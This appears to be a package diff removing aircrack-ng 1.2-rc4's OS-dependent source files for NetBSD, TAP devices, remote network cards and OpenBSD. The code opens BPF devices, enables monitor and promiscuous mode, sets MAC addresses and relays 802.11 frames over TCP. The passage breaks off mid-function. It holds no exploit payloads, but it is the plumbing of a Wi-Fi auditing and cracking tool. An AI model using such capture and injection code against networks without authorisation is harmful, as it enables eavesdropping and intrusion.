-        assert(ifmr.ifm_count != 0);
-
-        mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
-        if (!mwords)
-		goto close_sock;
-        ifmr.ifm_ulist = mwords;
-        if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
-		free(mwords);
-		goto close_sock;
-	}
-        free(mwords);
-
-        memset(&ifr, 0, sizeof(ifr));
-        strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-        ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
-        if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1)
-		goto close_sock;
-
-	/* setup ifreq for chan that may be used in future */
-	strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ);
-
-	/* same for ifreq [mac addr] */
-	strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ);
-
-        /* open bpf */
-        for(i = 0; i < 256; i++) {
-                snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
-
-                fd = open(buf, O_RDWR);
-                if(fd < 0) {
-                        if(errno != EBUSY)
-				return -1;
-                        continue;
-                }
-                else
-                        break;
-        }
-
-        if(fd < 0)
-		goto close_sock;
-
-	if (ioctl(fd, BIOCSBLEN, &size) < 0)
-		goto close_bpf;
-
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-
-        if (ioctl(fd, BIOCSETIF, &ifr) < 0)
-		goto close_bpf;
-
-        if (ioctl(fd, BIOCSDLT, &dlt) < 0)
-		goto close_bpf;
-
-	if(ioctl(fd, BIOCPROMISC, NULL) < 0)
-		goto close_bpf;
-
-        dlt = 1;
-        if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1)
-		goto close_bpf;
-
-	return fd;
-
-close_sock:
-	close(s);
-	return -1;
-close_bpf:
-	close(fd);
-	goto close_sock;
-}
-
-static int nbsd_fd(struct wif *wi)
-{
-	struct priv_nbsd *pn = wi_priv(wi);
-
-	return pn->pn_fd;
-}
-
-static int nbsd_get_mac(struct wif *wi, unsigned char *mac)
-{
-	struct ifaddrs *ifa, *p;
-	char *name = wi_get_ifname(wi);
-	int rc = -1;
-	struct sockaddr_dl* sdp;
-
-	if (getifaddrs(&ifa) == -1)
-		return -1;
-
-	p = ifa;
-	while (p) {
-		if (p->ifa_addr->sa_family == AF_LINK &&
-		    strcmp(name, p->ifa_name) == 0) {
-
-		    	sdp = (struct sockaddr_dl*) p->ifa_addr;
-			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
-			rc = 0;
-			break;
-		}
-
-		p = p->ifa_next;
-	}
-	freeifaddrs(ifa);
-
-	return rc;
-}
-
-static int nbsd_get_monitor(struct wif *wi)
-{
-	if (wi) {} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int nbsd_get_rate(struct wif *wi)
-{
-	if (wi) {} /* XXX unused */
-
-	/* XXX */
-	return 1000000;
-}
-
-static int nbsd_set_rate(struct wif *wi, int rate)
-{
-	if (wi || rate) {} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int nbsd_set_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_nbsd *pn = wi_priv(wi);
-	struct ifreq *ifr = &pn->pn_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(pn->pn_s, SIOCSIFADDR, ifr);
-}
-
-static struct wif *nbsd_open(char *iface)
-{
-	struct wif *wi;
-	struct priv_nbsd *pn;
-	int fd;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*pn));
-	if (!wi)
-		return NULL;
-	wi->wi_read		= nbsd_read;
-	wi->wi_write		= nbsd_write;
-	wi->wi_set_channel	= nbsd_set_channel;
-	wi->wi_get_channel	= nbsd_get_channel;
-	wi->wi_close		= nbsd_close;
-	wi->wi_fd		= nbsd_fd;
-	wi->wi_get_mac		= nbsd_get_mac;
-	wi->wi_set_mac		= nbsd_set_mac;
-	wi->wi_get_rate		= nbsd_get_rate;
-	wi->wi_set_rate		= nbsd_set_rate;
-        wi->wi_get_monitor      = nbsd_get_monitor;
-
-	/* setup iface */
-	fd = do_nbsd_open(wi, iface);
-	if (fd == -1) {
-		do_free(wi);
-		return NULL;
-	}
-
-	/* setup private state */
-	pn = wi_priv(wi);
-	pn->pn_fd = fd;
-
-	return wi;
-}
-
-struct wif *wi_open_osdep(char *iface)
-{
-	return nbsd_open(iface);
-}
-
-int get_battery_state(void)
-{
-#if defined(__FreeBSD__)
-    int value;
-    size_t len;
-
-    len = 1;
-    value = 0;
-    sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
-    if (value == 0)
-    {
-            sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
-            value = value * 60;
-    }
-    else
-    {
-            value = 0;
-    }
-
-    return( value );
-#elif defined(_BSD_SOURCE)
-    struct apm_power_info api;
-    int apmfd;
-    if ((apmfd = open("/dev/apm", O_RDONLY)) < 0)
-        return 0;
-    if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) {
-        close(apmfd);
-        return 0;
-    }
-    close(apmfd);
-    if (api.battery_state == APM_BATT_UNKNOWN ||
-        api.battery_state == APM_BATTERY_ABSENT ||
-        api.battery_state == APM_BATT_CHARGING ||
-    api.ac_state == APM_AC_ON) {
-        return 0;
-    }
-    return ((int)(api.minutes_left))*60;
-#else
-    return 0;
-#endif
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/netbsd_tap.c Deleted

@@ -1,223 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for NetBSD. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "osdep.h"
-
-struct tip_nbsd {
-	int		tn_fd;
-	int		tn_ioctls;
-	struct ifreq	tn_ifr;
-	char		tn_name[MAX_IFACE_NAME];
-	int		tn_destroy;
-};
-
-static int ti_do_open_nbsd(struct tif *ti, char *name)
-{
-	int fd;
-	char *iface = "/dev/tap";
-	struct stat st;
-	struct tip_nbsd *priv = ti_priv(ti);
-	int s;
-	unsigned int flags;
-	struct ifreq *ifr;
-
-	/* open tap */
-	if (name)
-		iface = name;
-	else
-		priv->tn_destroy = 1; /* we create, we destroy */
-
-	fd = open(iface, O_RDWR);
-	if (fd == -1)
-		return -1;
-
-	/* get name */
-	if(fstat(fd, &st) == -1)
-		goto err;
-	snprintf(priv->tn_name, sizeof(priv->tn_name)-1, "%s",
-		 devname(st.st_rdev, S_IFCHR));
-
-	/* bring iface up */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1)
-		goto err;
-	priv->tn_ioctls = s;
-
-	/* get flags */
-	ifr = &priv->tn_ifr;
-	memset(ifr, 0, sizeof(*ifr));
-	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tn_name);
-	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1)
-		goto err2;
-	flags = ifr->ifr_flags;
-
-	/* set flags */
-	flags |= IFF_UP;
-	ifr->ifr_flags = flags & 0xffff;
-	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1)
-		goto err2;
-
-	return fd;
-err:
-	/* XXX destroy */
-	close(fd);
-	return -1;
-err2:
-	close(s);
-	goto err;
-}
-
-static void ti_do_free(struct tif *ti)
-{
-	struct tip_nbsd *priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_destroy(struct tip_nbsd *priv)
-{
-	ioctl(priv->tn_ioctls, SIOCIFDESTROY, &priv->tn_ifr);
-}
-
-static void ti_close_nbsd(struct tif *ti)
-{
-	struct tip_nbsd *priv = ti_priv(ti);
-
-	if (priv->tn_destroy)
-		ti_destroy(priv);
-
-	close(priv->tn_fd);
-	close(priv->tn_ioctls);
-	ti_do_free(ti);
-}
-
-static char *ti_name_nbsd(struct tif *ti)
-{
-	struct tip_nbsd *priv = ti_priv(ti);
-
-	return priv->tn_name;
-}
-
-static int ti_set_mtu_nbsd(struct tif *ti, int mtu)
-{
-	struct tip_nbsd *priv = ti_priv(ti);
-
-	priv->tn_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->tn_ioctls, SIOCSIFMTU, &priv->tn_ifr);
-}
-
-static int ti_set_mac_nbsd(struct tif *ti, unsigned char *mac)
-{
-	struct tip_nbsd *priv = ti_priv(ti);
-	struct ifreq *ifr = &priv->tn_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->tn_ioctls, SIOCSIFADDR, ifr);
-}
-
-static int ti_set_ip_nbsd(struct tif *ti, struct in_addr *ip)
-{
-	struct tip_nbsd *priv = ti_priv(ti);
-	struct ifaliasreq ifra;
-	struct sockaddr_in *s_in;
-
-	/* assume same size */
-	memset(&ifra, 0, sizeof(ifra));
-	strncpy(ifra.ifra_name, priv->tn_ifr.ifr_name, IFNAMSIZ);
-
-	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
-	s_in->sin_family = PF_INET;
-	s_in->sin_addr = *ip;
-	s_in->sin_len = sizeof(*s_in);
-
-	return ioctl(priv->tn_ioctls, SIOCAIFADDR, &ifra);
-}
-
-static int ti_fd_nbsd(struct tif *ti)
-{
-	struct tip_nbsd *priv = ti_priv(ti);
-
-	return priv->tn_fd;
-}
-
-static int ti_read_nbsd(struct tif *ti, void *buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_nbsd(struct tif *ti, void *buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif *ti_open_nbsd(char *iface)
-{
-	struct tif *ti;
-	struct tip_nbsd *priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti)
-		return NULL;
-	ti->ti_name	= ti_name_nbsd;
-	ti->ti_set_mtu	= ti_set_mtu_nbsd;
-	ti->ti_close	= ti_close_nbsd;
-	ti->ti_fd	= ti_fd_nbsd;
-	ti->ti_read	= ti_read_nbsd;
-	ti->ti_write	= ti_write_nbsd;
-	ti->ti_set_mac	= ti_set_mac_nbsd;
-	ti->ti_set_ip	= ti_set_ip_nbsd;
-
-	/* setup iface */
-	fd = ti_do_open_nbsd(ti, iface);
-	if (fd == -1) {
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->tn_fd = fd;
-
-	return ti;
-}
-
-struct tif *ti_open(char *iface)
-{
-	return ti_open_nbsd(iface);
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/network.c Deleted

@@ -1,532 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for using card via network.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <assert.h>
-#include <sys/select.h>
-#include <errno.h>
-
-#include "osdep.h"
-#include "network.h"
-
-#define QUEUE_MAX 666
-
-struct netqueue {
-	unsigned char	q_buf[2048];
-	int		q_len;
-
-	struct netqueue	*q_next;
-	struct netqueue	*q_prev;
-};
-
-struct priv_net {
-	int		pn_s;
-	struct netqueue	pn_queue;
-	struct netqueue	pn_queue_free;
-	int		pn_queue_len;
-};
-
-int net_send(int s, int command, void *arg, int len)
-{
-	struct net_hdr *pnh;
-	char *pktbuf;
-	size_t pktlen;
-
-	pktlen = sizeof(struct net_hdr) + len;
-
-	pktbuf = (char*)calloc(sizeof(char), pktlen);
-	if (pktbuf == NULL) {
-		perror("calloc");
-		goto net_send_error;
-	}
-
-	pnh = (struct net_hdr*)pktbuf;
-	pnh->nh_type = command;
-	pnh->nh_len = htonl(len);
-
-	memcpy(pktbuf + sizeof(struct net_hdr), arg, len);
-
-	for (;;) {
-		ssize_t rc = send(s, pktbuf, pktlen, 0);
-
-		if ((size_t)rc == pktlen)
-			break;
-
-		if (rc == EAGAIN || rc == EWOULDBLOCK || rc == EINTR)
-			continue;
-
-		if (rc == ECONNRESET)
-			printf("Connection reset while sending packet!\n");
-
-		goto net_send_error;
-	}
-
-	free(pktbuf);
-	return 0;
-
-net_send_error:
-	free(pktbuf);
-	return -1;
-}
-
-int net_read_exact(int s, void *arg, int len)
-{
-	ssize_t rc;
-	int rlen = 0;
-	char *buf = (char*)arg;
-	while (rlen < len) {
-		rc = recv(s, buf, (len - rlen), 0);
-
-		if (rc < 1) {
-			if (rc == -1 && (errno == EAGAIN || errno == EINTR)) {
-				usleep(100);
-				continue;
-			}
-
-			return -1;
-		}
-
-		buf += rc;
-		rlen += rc;
-	}
-
-	return 0;
-}
-
-int net_get(int s, void *arg, int *len)
-{
-	struct net_hdr nh;
-	int plen;
-
-	if (net_read_exact(s, &nh, sizeof(nh)) == -1)
-        {
-		return -1;
-        }
-
-	plen = ntohl(nh.nh_len);
-	if (!(plen <= *len))
-		printf("PLEN %d type %d len %d\n",
-			plen, nh.nh_type, *len);
-	assert(plen <= *len && plen >= 0);
-
-	*len = plen;
-	if ((*len) && (net_read_exact(s, arg, *len) == -1))
-        {
-            return -1;
-        }
-
-	return nh.nh_type;
-}
-
-static void queue_del(struct netqueue *q)
-{
-	q->q_prev->q_next = q->q_next;
-	q->q_next->q_prev = q->q_prev;
-}
-
-static void queue_add(struct netqueue *head, struct netqueue *q)
-{
-	struct netqueue *pos = head->q_prev;
-
-	q->q_prev = pos;
-	q->q_next = pos->q_next;
-	q->q_next->q_prev = q;
-	pos->q_next = q;
-}
-
-#if 0
-static int queue_len(struct netqueue *head)
-{
-	struct netqueue *q = head->q_next;
-	int i = 0;
-
-	while (q != head) {
-		i++;
-		q = q->q_next;
-	}
-
-	return i;
-}
-#endif
-
-static struct netqueue *queue_get_slot(struct priv_net *pn)
-{
-	struct netqueue *q = pn->pn_queue_free.q_next;
-
-	if (q != &pn->pn_queue_free) {
-		queue_del(q);
-		return q;
-	}
-
-	if (pn->pn_queue_len++ > QUEUE_MAX)
-		return NULL;
-
-	return malloc(sizeof(*q));
-}
-
-static void net_enque(struct priv_net *pn, void *buf, int len)
-{
-	struct netqueue *q;
-
-	q = queue_get_slot(pn);
-	if (!q)
-		return;
-
-	q->q_len = len;
-	assert((int) sizeof(q->q_buf) >= q->q_len);
-	memcpy(q->q_buf, buf, q->q_len);
-	queue_add(&pn->pn_queue, q);
-}
-
-static int net_get_nopacket(struct priv_net *pn, void *arg, int *len)
-{
-	unsigned char buf[2048];
-	int l = sizeof(buf);
-	int c;
-
-	while (1) {
-		l = sizeof(buf);
-		c = net_get(pn->pn_s, buf, &l);
-		if (c < 0)
-			return c;
-
-		if (c != NET_PACKET && c > 0)
-			break;
-
-		if(c > 0)
-			net_enque(pn, buf, l);
-	}
-
-	assert(l <= *len);
-	memcpy(arg, buf, l);
-	*len = l;
-
-	return c;
-}
-
-static int net_cmd(struct priv_net *pn, int command, void *arg, int alen)
-{
-	uint32_t rc;
-	int len;
-	int cmd;
-
-	if (net_send(pn->pn_s, command, arg, alen) == -1)
-        {
-		return -1;
-        }
-
-	len = sizeof(rc);
-	cmd = net_get_nopacket(pn, &rc, &len);
-	if (cmd == -1)
-        {
-		return -1;
-        }
-	assert(cmd == NET_RC);
-	assert(len == sizeof(rc));
-
-	return ntohl(rc);
-}
-
-static int queue_get(struct priv_net *pn, void *buf, int len)
-{
-	struct netqueue *head = &pn->pn_queue;
-	struct netqueue *q = head->q_next;
-
-	if (q == head)
-		return 0;
-
-	assert(q->q_len <= len);
-	memcpy(buf, q->q_buf, q->q_len);
-
-	queue_del(q);
-	queue_add(&pn->pn_queue_free, q);
-
-	return q->q_len;
-}
-
-static int net_read(struct wif *wi, unsigned char *h80211, int len,
-		    struct rx_info *ri)
-{
-	struct priv_net *pn = wi_priv(wi);
-	uint32_t buf[512]; // 512 * 4 = 2048
-	unsigned char *bufc = (unsigned char*)buf;
-	int cmd;
-	int sz = sizeof(*ri);
-	int l;
-	int ret;
-
-	/* try queue */
-	l = queue_get(pn, buf, sizeof(buf));
-	if (!l) {
-		/* try reading form net */
-		l = sizeof(buf);
-		cmd = net_get(pn->pn_s, buf, &l);
-
-		if (cmd == -1)
-			return -1;
-		if (cmd == NET_RC)
-		{
-			ret = ntohl((buf[0]));
-			return ret;
-		}
-		assert(cmd == NET_PACKET);
-	}
-
-	/* XXX */
-	if (ri) {
-		// re-assemble 64-bit integer
-		ri->ri_mactime = __be64_to_cpu(((uint64_t)buf[0] << 32 || buf[1] ));
-		ri->ri_power = __be32_to_cpu(buf[2]);
-		ri->ri_noise = __be32_to_cpu(buf[3]);
-		ri->ri_channel = __be32_to_cpu(buf[4]);
-		ri->ri_freq = __be32_to_cpu(buf[5]);
-		ri->ri_rate = __be32_to_cpu(buf[6]);
-		ri->ri_antenna = __be32_to_cpu(buf[7]);
-	}
-	l -= sz;
-	assert(l > 0);
-	if (l > len)
-		l = len;
-	memcpy(h80211, &bufc[sz], l);
-
-	return l;
-}
-
-static int net_get_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_net *pn = wi_priv(wi);
-	uint32_t buf[2]; // only need 6 bytes, this provides 8
-	int cmd;
-	int sz = 6;
-
-	if (net_send(pn->pn_s, NET_GET_MAC, NULL, 0) == -1)
-		return -1;
-
-	cmd = net_get_nopacket(pn, buf, &sz);
-	if (cmd == -1)
-		return -1;
-	if (cmd == NET_RC)
-		return ntohl(buf[0]);
-	assert(cmd == NET_MAC);
-	assert(sz == 6);
-
-	memcpy(mac, buf, 6);
-
-	return 0;
-}
-
-static int net_write(struct wif *wi, unsigned char *h80211, int len,
-		     struct tx_info *ti)
-{
-	struct priv_net *pn = wi_priv(wi);
-	int sz = sizeof(*ti);
-	unsigned char buf[2048];
-	unsigned char *ptr = buf;
-
-	/* XXX */
-	if (ti)
-		memcpy(ptr, ti, sz);
-	else
-		memset(ptr, 0, sizeof(*ti));
-
-	ptr += sz;
-	memcpy(ptr, h80211, len);
-	sz += len;
-
-	return net_cmd(pn, NET_WRITE, buf, sz);
-}
-
-static int net_set_channel(struct wif *wi, int chan)
-{
-	uint32_t c = htonl(chan);
-
-	return net_cmd(wi_priv(wi), NET_SET_CHAN, &c, sizeof(c));
-}
-
-static int net_get_channel(struct wif *wi)
-{
-	struct priv_net *pn = wi_priv(wi);
-
-	return net_cmd(pn, NET_GET_CHAN, NULL, 0);
-}
-
-static int net_set_rate(struct wif *wi, int rate)
-{
-	uint32_t c = htonl(rate);
-
-	return net_cmd(wi_priv(wi), NET_SET_RATE, &c, sizeof(c));
-}
-
-static int net_get_rate(struct wif *wi)
-{
-	struct priv_net *pn = wi_priv(wi);
-
-	return net_cmd(pn, NET_GET_RATE, NULL, 0);
-}
-
-static int net_get_monitor(struct wif *wi)
-{
-	return net_cmd(wi_priv(wi), NET_GET_MONITOR, NULL, 0);
-}
-
-static void do_net_free(struct wif *wi)
-{
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-	free(wi);
-}
-
-static void net_close(struct wif *wi)
-{
-	struct priv_net *pn = wi_priv(wi);
-
-	close(pn->pn_s);
-	do_net_free(wi);
-}
-
-static int get_ip_port(char *iface, char *ip, const int ipsize)
-{
-	char *host;
-	char *ptr;
-	int port = -1;
-	struct in_addr addr;
-
-	host = strdup(iface);
-	if (!host)
-		return -1;
-
-	ptr = strchr(host, ':');
-	if (!ptr)
-		goto out;
-
-	*ptr++ = 0;
-
-	if (!inet_aton(host, &addr))
-		goto out; /* XXX resolve hostname */
-
-	assert(strlen(host) <= 15);
-	strncpy(ip, host, ipsize);
-	port = atoi(ptr);
-
-out:
-	free(host);
-	return port;
-}
-
-static int handshake(int s)
-{
-	if (s) {} /* XXX unused */
-	/* XXX do a handshake */
-	return 0;
-}
-
-static int do_net_open(char *iface)
-{
-	int s, port;
-	char ip[16];
-	struct sockaddr_in s_in;
-
-	port = get_ip_port(iface, ip, sizeof(ip)-1);
-	if (port == -1)
-		return -1;
-
-	s_in.sin_family = PF_INET;
-	s_in.sin_port = htons(port);
-	if (!inet_aton(ip, &s_in.sin_addr))
-		return -1;
-
-	if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-		return -1;
-
-	printf("Connecting to %s port %d...\n", ip, port);
-
-	if (connect(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) {
-		close(s);
-
-		printf("Failed to connect\n");
-
-		return -1;
-	}
-
-	if (handshake(s) == -1) {
-		close(s);
-
-		printf("Failed to connect - handshake failed\n");
-
-		return -1;
-	}
-
-	printf("Connection successful\n");
-
-	return s;
-}
-
-static int net_fd(struct wif *wi)
-{
-	struct priv_net *pn = wi_priv(wi);
-
-	return pn->pn_s;
-}
-
-struct wif *net_open(char *iface)
-{
-	struct wif *wi;
-	struct priv_net *pn;
-	int s;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*pn));
-	if (!wi)
-		return NULL;
-	wi->wi_read		= net_read;
-	wi->wi_write		= net_write;
-	wi->wi_set_channel	= net_set_channel;
-	wi->wi_get_channel	= net_get_channel;
-        wi->wi_set_rate    	= net_set_rate;
-	wi->wi_get_rate    	= net_get_rate;
-	wi->wi_close		= net_close;
-	wi->wi_fd		= net_fd;
-	wi->wi_get_mac		= net_get_mac;
-	wi->wi_get_monitor	= net_get_monitor;
-
-	/* setup iface */
-	s = do_net_open(iface);
-	if (s == -1) {
-		do_net_free(wi);
-		return NULL;
-	}
-
-	/* setup private state */
-	pn = wi_priv(wi);
-	pn->pn_s = s;
-	pn->pn_queue.q_next = pn->pn_queue.q_prev = &pn->pn_queue;
-	pn->pn_queue_free.q_next = pn->pn_queue_free.q_prev
-					= &pn->pn_queue_free;
-
-	return wi;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/network.h Deleted

aircrack-ng-1.2-rc4.tar.gz/src/osdep/openbsd.c Deleted

@@ -1,569 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for OpenBSD.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-#include <sys/types.h>
-#include <sys/endian.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/param.h>
-#include <sys/sysctl.h>
-#include <net/bpf.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <net/if_media.h>
-#include <sys/ioctl.h>
-#include <net/if_dl.h>
-#include <sys/queue.h>
-#include <net/if_var.h>
-#include <net80211/ieee80211.h>
-#include <net80211/ieee80211_crypto.h>
-#include <frame.h>
-#include <sys/timeout.h>
-#define _KERNEL
-#include <machine/intr.h>
-#undef _KERNEL
-#include <net80211/ieee80211_node.h>
-#include <net80211/ieee80211_ioctl.h>
-#include <net80211/ieee80211_radiotap.h>
-#include <net80211/ieee80211_proto.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/uio.h>
-#include <assert.h>
-#include <ifaddrs.h>
-
-#include "osdep.h"
-
-#ifndef IEEE80211_RADIOTAP_F_FCS
-#define IEEE80211_RADIOTAP_F_FCS	0x10	/* Frame includes FCS */
-#endif
-
-#ifndef IEEE80211_IOC_CHANNEL
-#define IEEE80211_IOC_CHANNEL	0
-#endif
-
-#ifndef le32toh
-#define le32toh(x)	htole32(x)
-#endif
-
-struct priv_obsd {
-	/* iface */
-	int				po_fd;
-
-	/* rx */
-	int				po_nocrc;
-
-	/* tx */
-	unsigned char			po_buf[4096];
-	unsigned char			*po_next;
-	int				po_totlen;
-
-	/* setchan */
-	int				po_s;
-	struct ifreq			po_ifr;
-	struct ieee80211chanreq		po_ireq;
-        int                             po_chan;
-};
-
-static void get_radiotap_info(struct priv_obsd *po,
-			      struct ieee80211_radiotap_header *rth, int *plen,
-			      struct rx_info *ri)
-{
-        uint32_t present;
-	uint8_t rflags = 0;
-	int i;
-	unsigned char *body = (unsigned char*) (rth+1);
-	int dbm_power = 0, db_power = 0;
-
-	/* reset control info */
-	if (ri)
-		memset(ri, 0, sizeof(*ri));
-
-       	/* get info */
-	present = le32toh(rth->it_present);
-	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) {
-		if (!(present & (1 << i)))
-			continue;
-
-		switch (i) {
-		case IEEE80211_RADIOTAP_TSFT:
-			body += sizeof(uint64_t);
-			break;
-
-		case IEEE80211_RADIOTAP_FLAGS:
-			rflags = *((uint8_t*)body);
-			/* fall through */
-		case IEEE80211_RADIOTAP_RATE:
-			body += sizeof(uint8_t);
-			break;
-
-		case IEEE80211_RADIOTAP_CHANNEL:
-			if (ri) {
-				ri->ri_channel = 1;
-			}
-			body += sizeof(uint16_t)*2;
-			break;
-
-		case IEEE80211_RADIOTAP_FHSS:
-			body += sizeof(uint16_t);
-			break;
-
-		case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-			dbm_power = *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-			dbm_power -= *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-			db_power = *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DB_ANTNOISE:
-			db_power -= *body++;
-			break;
-
-		default:
-			i = IEEE80211_RADIOTAP_EXT+1;
-			break;
-		}
-	}
-
-	/* set power */
-	if (ri) {
-		if (dbm_power)
-			ri->ri_power = dbm_power;
-		else
-			ri->ri_power = db_power;
-	}
-
-        /* XXX cache; drivers won't change this per-packet */
-        /* check if FCS/CRC is included in packet */
-        if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
-                *plen -= IEEE80211_CRC_LEN;
-                po->po_nocrc = 1;
-        }
-}
-
-static unsigned char *get_80211(struct priv_obsd *po, int *plen,
-				struct rx_info *ri)
-{
-        struct bpf_hdr *bpfh;
-        struct ieee80211_radiotap_header *rth;
-        void *ptr;
-        unsigned char **data;
-	int *totlen;
-
-	data = &po->po_next;
-	totlen = &po->po_totlen;
-	assert(*totlen);
-
-        /* bpf hdr */
-        bpfh = (struct bpf_hdr*) (*data);
-        assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
-        *totlen -= bpfh->bh_hdrlen;
-
-        /* check if more packets */
-        if ((int)bpfh->bh_caplen < *totlen) {
-		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
-		int offset = BPF_WORDALIGN(tot);
-
-                *data = (unsigned char*)bpfh + offset;
-		*totlen -= offset - tot; /* take into account align bytes */
-	} else if ((int)bpfh->bh_caplen > *totlen)
-		abort();
-
-        *plen = bpfh->bh_caplen;
-	*totlen -= bpfh->bh_caplen;
-	assert(*totlen >= 0);
-
-        /* radiotap */
-        rth = (struct ieee80211_radiotap_header*)
-              ((char*)bpfh + bpfh->bh_hdrlen);
-	get_radiotap_info(po, rth, plen, ri);
-        *plen -= rth->it_len;
-	assert(*plen > 0);
-
-       	/* data */
-	ptr = (char*)rth + rth->it_len;
-
-        return ptr;
-}
-
-static int obsd_get_channel(struct wif *wi)
-{
-	struct priv_obsd *po = wi_priv(wi);
-	struct ieee80211chanreq channel;
-
-	memset(&channel, 0, sizeof(channel));
-	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
-
-	if(ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1;
-
-	return channel.i_channel;
-}
-
-static int obsd_set_channel(struct wif *wi, int chan)
-{
-	struct priv_obsd *po = wi_priv(wi);
-	struct ieee80211chanreq channel;
-
-	memset(&channel, 0, sizeof(channel));
